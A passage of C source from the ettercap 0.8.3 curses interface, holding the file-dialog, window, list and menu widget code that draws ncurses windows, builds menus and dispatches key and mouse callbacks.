border */ wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); werase(ww->win); /* destroy the file list */ wdg_file_menu_destroy(wo); touchwin(ww->win); wnoutrefresh(ww->win); /* resize the window and draw the new border */ mvwin(ww->win, y, x); wresize(ww->win, l, c); wbkgd(ww->win, COLOR_PAIR(wo->window_color)); werase(ww->win); /* create the file list */ wdg_file_menu_create(wo); touchwin(ww->win); wdg_file_borders(wo); /* the first time we have to allocate the window */ } else { /* create the menu window (fixed dimensions) */ if ((ww->win = newwin(l, c, y, x)) == NULL) return -WDG_E_FATAL; /* create the file list */ wdg_file_menu_create(wo); /* set the window color */ wbkgd(ww->win, COLOR_PAIR(wo->window_color)); redrawwin(ww->win); /* draw the titles */ wdg_file_borders(wo); /* no scrolling */ scrollok(ww->win, FALSE); } /* refresh the window */ touchwin(ww->win); wnoutrefresh(ww->win); touchwin(ww->mwin); wnoutrefresh(ww->mwin); wo->flags |= WDG_OBJ_VISIBLE; return WDG_E_SUCCESS; } /* * called when the file dialog gets the focus */ static int wdg_file_get_focus(struct wdg_object *wo) { /* set the flag */ wo->flags |= WDG_OBJ_FOCUSED; /* redraw the window */ wdg_file_redraw(wo); return WDG_E_SUCCESS; } /* * called when the file dialog looses the focus */ static int wdg_file_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; /* redraw the window */ wdg_file_redraw(wo); return WDG_E_SUCCESS; } /* * called by the messages dispatcher when the file dialog is focused */ static int wdg_file_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_file_handle, ww); /* handle the message */ switch (key) { case KEY_MOUSE: /* is the mouse event within our edges ? */ if (wenclose(ww->win, mouse->y, mouse->x)) { wdg_set_focus(wo); /* pass it to the menu */ if (wdg_file_driver(wo, key, mouse) != WDG_E_SUCCESS) wdg_file_redraw(wo); } else return -WDG_E_NOTHANDLED; break; case KEY_RETURN: case KEY_DOWN: case KEY_UP: case KEY_PPAGE: case KEY_NPAGE: /* move only if focused */ if (wo->flags & WDG_OBJ_FOCUSED) { if (wdg_file_driver(wo, key, mouse) != WDG_E_SUCCESS) wdg_file_redraw(wo); } else return -WDG_E_NOTHANDLED; break; case KEY_ESC: case CTRL('Q'): wdg_destroy_object(&wo); wdg_redraw_all(); break; /* message not handled */ default: return -WDG_E_NOTHANDLED; break; } return WDG_E_SUCCESS; } /* * draw the file dialog borders */ static void wdg_file_borders(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_file_handle, ww); size_t c = wdg_get_ncols(wo); /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(ww->win, A_BOLD); wbkgdset(ww->win, COLOR_PAIR(wo->focus_color)); } else wbkgdset(ww->win, COLOR_PAIR(wo->border_color)); /* draw the borders */ box(ww->win, 0, 0); /* set the title color */ wbkgdset(ww->win, COLOR_PAIR(wo->title_color)); /* there is a title: print it */ if (wo->title) { switch (wo->align) { case WDG_ALIGN_LEFT: wmove(ww->win, 0, 3); break; case WDG_ALIGN_CENTER: wmove(ww->win, 0, (c - strlen(wo->title)) / 2); break; case WDG_ALIGN_RIGHT: wmove(ww->win, 0, c - strlen(wo->title) - 3); break; } wprintw(ww->win, wo->title); } /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) wattroff(ww->win, A_BOLD); } /* * stransform keys into menu commands */ static int wdg_file_virtualize(int key) { switch (key) { case KEY_RETURN: case KEY_EXIT: return (MAX_COMMAND + 1); case KEY_NPAGE: return (REQ_SCR_DPAGE); case KEY_PPAGE: return (REQ_SCR_UPAGE); case KEY_DOWN: return (REQ_NEXT_ITEM); case KEY_UP: return (REQ_PREV_ITEM); default: if (key != KEY_MOUSE) beep(); return (key); } } /* * sends command to the menu */ static int wdg_file_driver(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_file_handle, ww); int c; struct stat buf; /* variable currently not used */ (void) mouse; c = menu_driver(ww->m, wdg_file_virtualize(key) ); /* skip non selectable items */ if ( !(item_opts(current_item(ww->m)) & O_SELECTABLE) ) c = menu_driver(ww->m, wdg_file_virtualize(key) ); /* one item has been selected */ if (c == E_UNKNOWN_COMMAND) { /* the item is not selectable (probably selected with mouse) */ if ( !(item_opts(current_item(ww->m)) & O_SELECTABLE) ) return WDG_E_SUCCESS; stat(item_name(current_item(ww->m)), &buf); /* if it is a directory, change to it */ if (S_ISDIR(buf.st_mode)) { if (chdir(item_name(current_item(ww->m))) == -1) WARN_MSG("chdir failed: %s", strerror(errno)); return -WDG_E_NOTHANDLED; } else { /* invoke the callback and return */ wdg_file_callback(wo, ww->curpath, (char *)item_name(current_item(ww->m))); return WDG_E_SUCCESS; } } wnoutrefresh(ww->mwin); return WDG_E_SUCCESS; } /* * delete the internal menu for the files */ static void wdg_file_menu_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_file_handle, ww); int i = 0; /* nothing to free */ if (ww->nitems == 0) return; unpost_menu(ww->m); free_menu(ww->m); /* free all the items */ while(ww->items[i] != NULL) free_item(ww->items[i++]); for (i = 0; i < ww->nlist; i++) WDG_SAFE_FREE(ww->namelist[i]); /* free the array */ WDG_SAFE_FREE(ww->items); WDG_SAFE_FREE(ww->namelist); /* reset the counter */ ww->nitems = 0; } /* * create the internal menu for the files */ static void wdg_file_menu_create(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_file_handle, ww); int mrows, mcols; int i; size_t c = wdg_get_ncols(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); struct stat buf; /* the menu is already posted */ if (ww->nitems) return; WDG_DEBUG_MSG("wdg_file_menu_create"); /* get the working directory */ getcwd(ww->curpath, PATH_MAX); /* scan the directory */ ww->nlist = scandir(".", &ww->namelist, 0, alphasort); /* on error display the message in the box */ if (ww->nlist <= 0) { ww->nitems = 2; WDG_SAFE_REALLOC(ww->items, ww->nitems * sizeof(ITEM *)); ww->items[ww->nitems - 2] = new_item("/", "root"); ww->items[ww->nitems - 1] = new_item("Cannot open the directory", ""); item_opts_off(ww->items[ww->nitems - 1], O_SELECTABLE); } else { /* for each directory in the directory */ for (i = 0; i < ww->nlist; i++) { /* * transform the current dir into the root. * useful to exit from a path whose parent is not readable */ if (*ww->namelist[i]->d_name == '.') { *ww->namelist[i]->d_name = '/'; ww->nitems++; WDG_SAFE_REALLOC(ww->items, ww->nitems * sizeof(ITEM *)); ww->items[ww->nitems - 1] = new_item(ww->namelist[i]->d_name, "root"); continue; } /* get the file properties */ stat(ww->namelist[i]->d_name, &buf); if (S_ISDIR(buf.st_mode)) { ww->nitems++; WDG_SAFE_REALLOC(ww->items, ww->nitems * sizeof(ITEM *)); ww->items[ww->nitems - 1] = new_item(ww->namelist[i]->d_name, "[...]"); } // if not readable //item_opts_off(ww->items[ww->nitems - 1], O_SELECTABLE); } /* and now add the files */ for (i = 0; i < ww->nlist; i++) { /* get the file properties */ stat(ww->namelist[i]->d_name, &buf); if (!S_ISDIR(buf.st_mode)) { ww->nitems++; WDG_SAFE_REALLOC(ww->items, ww->nitems * sizeof(ITEM *)); ww->items[ww->nitems - 1] = new_item(ww->namelist[i]->d_name, ""); } } } /* null terminate the array */ WDG_SAFE_REALLOC(ww->items, (ww->nitems + 1) * sizeof(ITEM *)); ww->items[ww->nitems] = NULL; /* create the menu */ ww->m = new_menu(ww->items); /* set the dimensions */ set_menu_format(ww->m, ww->y - 2, 1); set_menu_spacing(ww->m, 2, 0, 0); /* get the geometry to make a window */ scale_menu(ww->m, &mrows, &mcols); /* * if the menu is larger than the main window * adapt to the new dimensions */ if (mcols > (int)c - 4) { ww->x = mcols + 4; wdg_file_redraw(wo); return; } /* create the window for the menu */ ww->mwin = newwin(mrows, MAX(mcols, (int)c - 4), y + 1, x + 2); /* set the color */ wbkgd(ww->mwin, COLOR_PAIR(wo->window_color)); keypad(ww->mwin, TRUE); /* associate with the menu */ set_menu_win(ww->m, ww->mwin); /* the subwin for the menu */ set_menu_sub(ww->m, derwin(ww->mwin, mrows + 1, mcols, 1, 1)); /* menu attributes */ set_menu_mark(ww->m, ""); set_menu_grey(ww->m, COLOR_PAIR(wo->window_color)); set_menu_back(ww->m, COLOR_PAIR(wo->window_color)); set_menu_fore(ww->m, COLOR_PAIR(wo->window_color) | A_REVERSE | A_BOLD); /* display the menu */ post_menu(ww->m); wnoutrefresh(ww->mwin); } /* * destroy the dialog and * call the function associated to the file open dialog */ static void wdg_file_callback(struct wdg_object *wo, const char *path, char *file) { WDG_WO_EXT(struct wdg_file_handle, ww); void (*callback)(const char *, char *); char *p, *f; WDG_DEBUG_MSG("wdg_file_callback"); /* save the values before destroying the object */ callback = ww->callback; WDG_SAFE_STRDUP(p, path); WDG_SAFE_STRDUP(f, file); /* destroy the object */ wdg_destroy_object(&wo); wdg_redraw_all(); /* call the callback */ WDG_EXECUTE(callback, p, f); /* free saved data */ WDG_SAFE_FREE(f); WDG_SAFE_FREE(p); } /* * the user should use it to associate a callback to the file selection */ void wdg_file_set_callback(wdg_t *wo, void (*callback)(const char *path, char *file)) { WDG_WO_EXT(struct wdg_file_handle, ww); ww->callback = callback; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/widgets/wdg_window.c0000644000175000017500000001530413505247364023377 0ustar koeppeakoeppea/* WDG -- window widget Copyright (C) ALoR This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* GLOBALS */ struct wdg_window { WINDOW *win; WINDOW *sub; }; /* PROTOS */ void wdg_create_window(struct wdg_object *wo); static int wdg_window_destroy(struct wdg_object *wo); static int wdg_window_resize(struct wdg_object *wo); static int wdg_window_redraw(struct wdg_object *wo); static int wdg_window_get_focus(struct wdg_object *wo); static int wdg_window_lost_focus(struct wdg_object *wo); static int wdg_window_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse); static void wdg_window_border(struct wdg_object *wo); /*******************************************/ /* * called to create a window */ void wdg_create_window(struct wdg_object *wo) { WDG_DEBUG_MSG("wdg_create_window"); /* set the callbacks */ wo->destroy = wdg_window_destroy; wo->resize = wdg_window_resize; wo->redraw = wdg_window_redraw; wo->get_focus = wdg_window_get_focus; wo->lost_focus = wdg_window_lost_focus; wo->get_msg = wdg_window_get_msg; WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_window)); } /* * called to destroy a window */ static int wdg_window_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_window, ww); WDG_DEBUG_MSG("wdg_window_destroy (%p)", wo); /* erase the window */ wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); wbkgd(ww->sub, COLOR_PAIR(wo->screen_color)); werase(ww->sub); werase(ww->win); wnoutrefresh(ww->sub); wnoutrefresh(ww->win); /* dealloc the structures */ delwin(ww->sub); delwin(ww->win); WDG_SAFE_FREE(wo->extend); return WDG_E_SUCCESS; } /* * called to resize a window */ static int wdg_window_resize(struct wdg_object *wo) { wdg_window_redraw(wo); return WDG_E_SUCCESS; } /* * called to redraw a window */ static int wdg_window_redraw(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_window, ww); size_t c = wdg_get_ncols(wo); size_t l = wdg_get_nlines(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); WDG_DEBUG_MSG("wdg_window_redraw"); /* the window already exist */ if (ww->win) { /* erase the border */ wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); werase(ww->win); touchwin(ww->win); wnoutrefresh(ww->win); /* resize the window and draw the new border */ mvwin(ww->win, y, x); wresize(ww->win, l, c); wdg_window_border(wo); /* resize the actual window and touch it */ mvwin(ww->sub, y + 1, x + 1); wresize(ww->sub, l - 2, c - 2); /* set the window color */ wbkgd(ww->sub, COLOR_PAIR(wo->window_color)); /* the first time we have to allocate the window */ } else { /* create the outher window */ if ((ww->win = newwin(l, c, y, x)) == NULL) return -WDG_E_FATAL; /* draw the borders */ wdg_window_border(wo); /* create the inner (actual) window */ if ((ww->sub = newwin(l - 2, c - 2, y + 1, x + 1)) == NULL) return -WDG_E_FATAL; /* set the window color */ wbkgd(ww->sub, COLOR_PAIR(wo->window_color)); werase(ww->sub); redrawwin(ww->sub); /* initialize the pointer */ wmove(ww->sub, 0, 0); scrollok(ww->sub, TRUE); } /* refresh the window */ redrawwin(ww->sub); redrawwin(ww->win); wnoutrefresh(ww->win); wnoutrefresh(ww->sub); wo->flags |= WDG_OBJ_VISIBLE; return WDG_E_SUCCESS; } /* * called when the window gets the focus */ static int wdg_window_get_focus(struct wdg_object *wo) { /* set the flag */ wo->flags |= WDG_OBJ_FOCUSED; /* redraw the window */ wdg_window_redraw(wo); return WDG_E_SUCCESS; } /* * called when the window looses the focus */ static int wdg_window_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; /* redraw the window */ wdg_window_redraw(wo); return WDG_E_SUCCESS; } /* * called by the messages dispatcher when the window is focused */ static int wdg_window_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_window, ww); /* handle the message */ switch (key) { case KEY_MOUSE: /* is the mouse event within our edges ? */ if (wenclose(ww->win, mouse->y, mouse->x)) wdg_set_focus(wo); else return -WDG_E_NOTHANDLED; break; /* message not handled */ default: return -WDG_E_NOTHANDLED; break; } return WDG_E_SUCCESS; } /* * draw the borders and title */ static void wdg_window_border(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_window, ww); size_t c = wdg_get_ncols(wo); /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(ww->win, A_BOLD); wbkgdset(ww->win, COLOR_PAIR(wo->focus_color)); } else wbkgdset(ww->win, COLOR_PAIR(wo->border_color)); /* draw the borders */ box(ww->win, 0, 0); /* set the title color */ wbkgdset(ww->win, COLOR_PAIR(wo->title_color)); /* there is a title: print it */ if (wo->title) { switch (wo->align) { case WDG_ALIGN_LEFT: wmove(ww->win, 0, 3); break; case WDG_ALIGN_CENTER: wmove(ww->win, 0, (c - strlen(wo->title)) / 2); break; case WDG_ALIGN_RIGHT: wmove(ww->win, 0, c - strlen(wo->title) - 3); break; } wprintw(ww->win, wo->title); } /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) wattroff(ww->win, A_BOLD); } /* * print a string in the window */ void wdg_window_print(wdg_t *wo, size_t x, size_t y, char *fmt, ...) { WDG_WO_EXT(struct wdg_window, ww); va_list ap; /* move the pointer */ wmove(ww->sub, y, x); /* print the message */ va_start(ap, fmt); vw_printw(ww->sub, fmt, ap); va_end(ap); wnoutrefresh(ww->sub); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/widgets/wdg_list.c0000644000175000017500000003232113505247364023041 0ustar koeppeakoeppea/* WDG -- list widget Copyright (C) ALoR This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* GLOBALS */ struct wdg_list_call { int key; void (*callback)(void *); SLIST_ENTRY(wdg_list_call) next; }; struct wdg_list_handle { MENU *menu; WINDOW *mwin; WINDOW *win; ITEM *current; ITEM **items; size_t nitems; void (*select_callback)(void *); SLIST_HEAD(, wdg_list_call) callbacks; }; /* PROTOS */ void wdg_create_list(struct wdg_object *wo); static int wdg_list_destroy(struct wdg_object *wo); static int wdg_list_resize(struct wdg_object *wo); static int wdg_list_redraw(struct wdg_object *wo); static int wdg_list_get_focus(struct wdg_object *wo); static int wdg_list_lost_focus(struct wdg_object *wo); static int wdg_list_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse); static void wdg_list_borders(struct wdg_object *wo); static int wdg_list_virtualize(int key); static int wdg_list_driver(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse); static void wdg_list_menu_create(struct wdg_object *wo); static void wdg_list_menu_destroy(struct wdg_object *wo); static int wdg_list_callback(struct wdg_object *wo, int key); /*******************************************/ /* * called to create the menu */ void wdg_create_list(struct wdg_object *wo) { WDG_DEBUG_MSG("wdg_create_list"); /* set the callbacks */ wo->destroy = wdg_list_destroy; wo->resize = wdg_list_resize; wo->redraw = wdg_list_redraw; wo->get_focus = wdg_list_get_focus; wo->lost_focus = wdg_list_lost_focus; wo->get_msg = wdg_list_get_msg; WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_list_handle)); } /* * called to destroy the menu */ static int wdg_list_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_list_handle, ww); struct wdg_list_call *c; int i = 0; WDG_DEBUG_MSG("wdg_list_destroy"); /* erase the window */ wdg_list_menu_destroy(wo); wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); werase(ww->win); wnoutrefresh(ww->win); /* dealloc the structures */ delwin(ww->win); /* all the items */ while (ww->items && ww->items[i] != NULL) free_item(ww->items[i++]); WDG_SAFE_FREE(ww->items); /* free the callback list */ while (SLIST_FIRST(&ww->callbacks) != NULL) { c = SLIST_FIRST(&ww->callbacks); SLIST_REMOVE_HEAD(&ww->callbacks, next); WDG_SAFE_FREE(c); } WDG_SAFE_FREE(wo->extend); return WDG_E_SUCCESS; } /* * called to resize the menu */ static int wdg_list_resize(struct wdg_object *wo) { wdg_list_redraw(wo); return WDG_E_SUCCESS; } /* * called to redraw the menu */ static int wdg_list_redraw(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_list_handle, ww); size_t c = wdg_get_ncols(wo); size_t l = wdg_get_nlines(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); WDG_DEBUG_MSG("wdg_list_redraw"); /* the window already exist */ if (ww->win) { /* erase the border */ wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); werase(ww->win); touchwin(ww->win); wnoutrefresh(ww->win); /* delete the internal menu */ wdg_list_menu_destroy(wo); /* resize the window and draw the new border */ mvwin(ww->win, y, x); wresize(ww->win, l, c); wdg_list_borders(wo); /* redraw the menu */ wdg_list_menu_create(wo); /* the first time we have to allocate the window */ } else { /* create the menu window (fixed dimensions) */ if ((ww->win = newwin(l, c, y, x)) == NULL) return -WDG_E_FATAL; /* draw the titles */ wdg_list_borders(wo); /* draw the menu */ wdg_list_menu_create(wo); /* no scrolling for menu */ scrollok(ww->win, FALSE); } /* refresh the window */ touchwin(ww->win); wnoutrefresh(ww->win); touchwin(ww->mwin); wnoutrefresh(ww->mwin); wo->flags |= WDG_OBJ_VISIBLE; return WDG_E_SUCCESS; } /* * called when the menu gets the focus */ static int wdg_list_get_focus(struct wdg_object *wo) { /* set the flag */ wo->flags |= WDG_OBJ_FOCUSED; /* redraw the window */ wdg_list_redraw(wo); return WDG_E_SUCCESS; } /* * called when the menu looses the focus */ static int wdg_list_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; /* redraw the window */ wdg_list_redraw(wo); return WDG_E_SUCCESS; } /* * called by the messages dispatcher when the menu is focused */ static int wdg_list_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_list_handle, ww); /* handle the message */ switch (key) { case KEY_MOUSE: /* is the mouse event within our edges ? */ if (wenclose(ww->win, mouse->y, mouse->x)) { wdg_set_focus(wo); /* pass the event to the menu */ wdg_list_driver(wo, key, mouse); } else return -WDG_E_NOTHANDLED; break; case KEY_DOWN: case KEY_UP: case KEY_NPAGE: case KEY_PPAGE: /* move only if focused */ if (wo->flags & WDG_OBJ_FOCUSED) { /* pass the event to the menu */ wdg_list_driver(wo, key, mouse); } else return -WDG_E_NOTHANDLED; break; case KEY_RETURN: if (item_userptr(current_item(ww->menu))) WDG_EXECUTE(ww->select_callback, item_userptr(current_item(ww->menu))); break; /* message not handled */ default: return wdg_list_callback(wo, key); break; } return WDG_E_SUCCESS; } /* * draw the list borders */ static void wdg_list_borders(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_list_handle, ww); size_t c = wdg_get_ncols(wo); /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(ww->win, A_BOLD); wbkgdset(ww->win, COLOR_PAIR(wo->focus_color)); } else wbkgdset(ww->win, COLOR_PAIR(wo->border_color)); /* draw the borders */ box(ww->win, 0, 0); /* set the title color */ wbkgdset(ww->win, COLOR_PAIR(wo->title_color)); /* there is a title: print it */ if (wo->title) { switch (wo->align) { case WDG_ALIGN_LEFT: wmove(ww->win, 0, 3); break; case WDG_ALIGN_CENTER: wmove(ww->win, 0, (c - strlen(wo->title)) / 2); break; case WDG_ALIGN_RIGHT: wmove(ww->win, 0, c - strlen(wo->title) - 3); break; } wprintw(ww->win, wo->title); } /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) wattroff(ww->win, A_BOLD); } /* * set the elements for the list */ void wdg_list_set_elements(struct wdg_object *wo, struct wdg_list *list) { WDG_WO_EXT(struct wdg_list_handle, ww); size_t i = 0; wdg_list_menu_destroy(wo); /* forget the curren position, we are creating a new menu */ ww->current = NULL; /* free any previously alloc'd item */ while (ww->items && ww->items[i] != NULL) free_item(ww->items[i++]); WDG_SAFE_FREE(ww->items); i = 0; ww->nitems = 0; /* walk thru the list and set the menu items */ while (list[i].desc != NULL) { /* count the items added */ ww->nitems++; WDG_SAFE_REALLOC(ww->items, ww->nitems * sizeof(ITEM *)); ww->items[i] = new_item(list[i].desc, ""); set_item_userptr(ww->items[i], list[i].value); i++; } /* add the null termination to the array */ WDG_SAFE_REALLOC(ww->items, (ww->nitems + 1) * sizeof(ITEM *)); ww->items[ww->nitems] = NULL; wdg_list_menu_create(wo); } /* * stransform keys into menu commands */ static int wdg_list_virtualize(int key) { switch (key) { case KEY_NPAGE: return (REQ_SCR_DPAGE); case KEY_PPAGE: return (REQ_SCR_UPAGE); case KEY_DOWN: return (REQ_NEXT_ITEM); case KEY_UP: return (REQ_PREV_ITEM); default: if (key != KEY_MOUSE) beep(); return (key); } } /* * sends command to the active menu */ static int wdg_list_driver(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_list_handle, ww); int c; /* variable currently not used */ (void) mouse; c = menu_driver(ww->menu, wdg_list_virtualize(key) ); /* skip non selectable items */ if ( !(item_opts(current_item(ww->menu)) & O_SELECTABLE) ) c = menu_driver(ww->menu, wdg_list_virtualize(key) ); /* one item has been selected */ if (c == E_UNKNOWN_COMMAND) { if (item_userptr(current_item(ww->menu))) WDG_EXECUTE(ww->select_callback, item_userptr(current_item(ww->menu))); } /* tring to go outside edges */ if (c == E_REQUEST_DENIED) return -WDG_E_NOTHANDLED; wnoutrefresh(ww->mwin); return WDG_E_SUCCESS; } /* * create the menu */ static void wdg_list_menu_create(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_list_handle, ww); size_t l = wdg_get_nlines(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); int mrows = 0, mcols = 0; /* skip the creation if: * - already displayed * - no items are present */ if (ww->menu || !ww->items || ww->nitems == 0) return; /* create the menu */ ww->menu = new_menu(ww->items); /* set the dimensions */ set_menu_format(ww->menu, l - 4, 1); set_menu_spacing(ww->menu, 2, 0, 0); /* get the geometry to make a window */ scale_menu(ww->menu, &mrows, &mcols); ww->mwin = newwin(mrows + 1, mcols, y + 2, x + 2); /* set the color */ wbkgd(ww->mwin, COLOR_PAIR(wo->window_color)); keypad(ww->mwin, TRUE); /* associate with the menu */ set_menu_win(ww->menu, ww->mwin); /* the subwin for the menu */ set_menu_sub(ww->menu, derwin(ww->mwin, mrows + 1, mcols, 2, 2)); /* menu attributes */ set_menu_mark(ww->menu, ""); set_menu_grey(ww->menu, COLOR_PAIR(wo->window_color)); set_menu_back(ww->menu, COLOR_PAIR(wo->window_color)); set_menu_fore(ww->menu, COLOR_PAIR(wo->window_color) | A_REVERSE | A_BOLD); /* repristinate the current position */ if (ww->current) set_current_item(ww->menu, ww->current); /* display the menu */ post_menu(ww->menu); wnoutrefresh(ww->mwin); } /* * destroy the menu */ static void wdg_list_menu_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_list_handle, ww); /* nothing to clear */ if (ww->menu == NULL) return; /* remember the current position to be repristinated on menu create */ ww->current = current_item(ww->menu); /* hide the menu */ unpost_menu(ww->menu); /* erase the menu */ wbkgd(ww->mwin, COLOR_PAIR(wo->screen_color)); werase(ww->mwin); wnoutrefresh(ww->mwin); /* delete the memory */ free_menu(ww->menu); ww->menu = NULL; } /* * set the select callback */ void wdg_list_select_callback(wdg_t *wo, void (*callback)(void *)) { WDG_WO_EXT(struct wdg_list_handle, ww); ww->select_callback = callback; } /* * add the user callback(s) */ void wdg_list_add_callback(wdg_t *wo, int key, void (*callback)(void *)) { WDG_WO_EXT(struct wdg_list_handle, ww); struct wdg_list_call *c; WDG_SAFE_CALLOC(c, 1, sizeof(struct wdg_list_call)); c->key = key; c->callback = callback; SLIST_INSERT_HEAD(&ww->callbacks, c, next); } /* * search for a callback and execute it */ static int wdg_list_callback(struct wdg_object *wo, int key) { WDG_WO_EXT(struct wdg_list_handle, ww); struct wdg_list_call *c; SLIST_FOREACH(c, &ww->callbacks, next) { if (c->key == key) { void *value; WDG_DEBUG_MSG("wdg_list_callback"); /* retrieve the value from the current item */ value = item_userptr(current_item(ww->menu)); /* execute the callback */ WDG_EXECUTE(c->callback, value); return WDG_E_SUCCESS; } } return -WDG_E_NOTHANDLED; } /* * force the repaint of the menu */ void wdg_list_refresh(wdg_t *wo) { WDG_WO_EXT(struct wdg_list_handle, ww); WDG_DEBUG_MSG("wdg_list_refresh"); /* remember the position */ ww->current = current_item(ww->menu); /* delete the window */ unpost_menu(ww->menu); /* set the old position */ set_current_item(ww->menu, ww->current); /* draw the menu */ post_menu(ww->menu); wnoutrefresh(ww->mwin); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/widgets/wdg_menu.c0000644000175000017500000004207713505247364023043 0ustar koeppeakoeppea/* WDG -- menu widget Copyright (C) ALoR This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* GLOBALS */ #define WDG_MENU_LEFT_PAD 1 struct wdg_key_callback { int hotkey; void (*callback)(void); }; struct wdg_menu_unit { int hotkey; char *title; char active; size_t nitems; MENU *m; WINDOW *win; ITEM **items; TAILQ_ENTRY(wdg_menu_unit) next; }; struct wdg_menu_handle { WINDOW *menu; struct wdg_menu_unit *focus_unit; TAILQ_HEAD(menu_head, wdg_menu_unit) menu_list; }; /* PROTOS */ void wdg_create_menu(struct wdg_object *wo); static int wdg_menu_destroy(struct wdg_object *wo); static int wdg_menu_resize(struct wdg_object *wo); static int wdg_menu_redraw(struct wdg_object *wo); static int wdg_menu_get_focus(struct wdg_object *wo); static int wdg_menu_lost_focus(struct wdg_object *wo); static int wdg_menu_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse); static void wdg_menu_titles(struct wdg_object *wo); static void wdg_menu_move(struct wdg_object *wo, int key); static int wdg_menu_mouse_move(struct wdg_object *wo, struct wdg_mouse_event *mouse); static void wdg_menu_open(struct wdg_object *wo); static void wdg_menu_close(struct wdg_object *wo); static int wdg_menu_virtualize(int key); static int wdg_menu_driver(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse); static int wdg_menu_shortcut(struct wdg_object *wo, int key); /*******************************************/ /* * called to create the menu */ void wdg_create_menu(struct wdg_object *wo) { WDG_DEBUG_MSG("wdg_create_menu"); /* set the callbacks */ wo->destroy = wdg_menu_destroy; wo->resize = wdg_menu_resize; wo->redraw = wdg_menu_redraw; wo->get_focus = wdg_menu_get_focus; wo->lost_focus = wdg_menu_lost_focus; wo->get_msg = wdg_menu_get_msg; WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_menu_handle)); } /* * called to destroy the menu */ static int wdg_menu_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_menu_handle, ww); struct wdg_menu_unit *mu, *old = NULL; WDG_DEBUG_MSG("wdg_menu_destroy"); /* erase the window */ wbkgd(ww->menu, COLOR_PAIR(wo->screen_color)); werase(ww->menu); wnoutrefresh(ww->menu); /* erase all the units */ TAILQ_FOREACH_SAFE(mu, &ww->menu_list, next, old) { int i = 0; /* all the items */ while (mu->items[i] != NULL) { free(item_userptr(mu->items[i])); free_item(mu->items[i]); i++; } TAILQ_REMOVE(&ww->menu_list, mu, next); WDG_SAFE_FREE(mu->items); WDG_SAFE_FREE(mu); } /* dealloc the structures */ delwin(ww->menu); WDG_SAFE_FREE(wo->extend); return WDG_E_SUCCESS; } /* * called to resize the menu */ static int 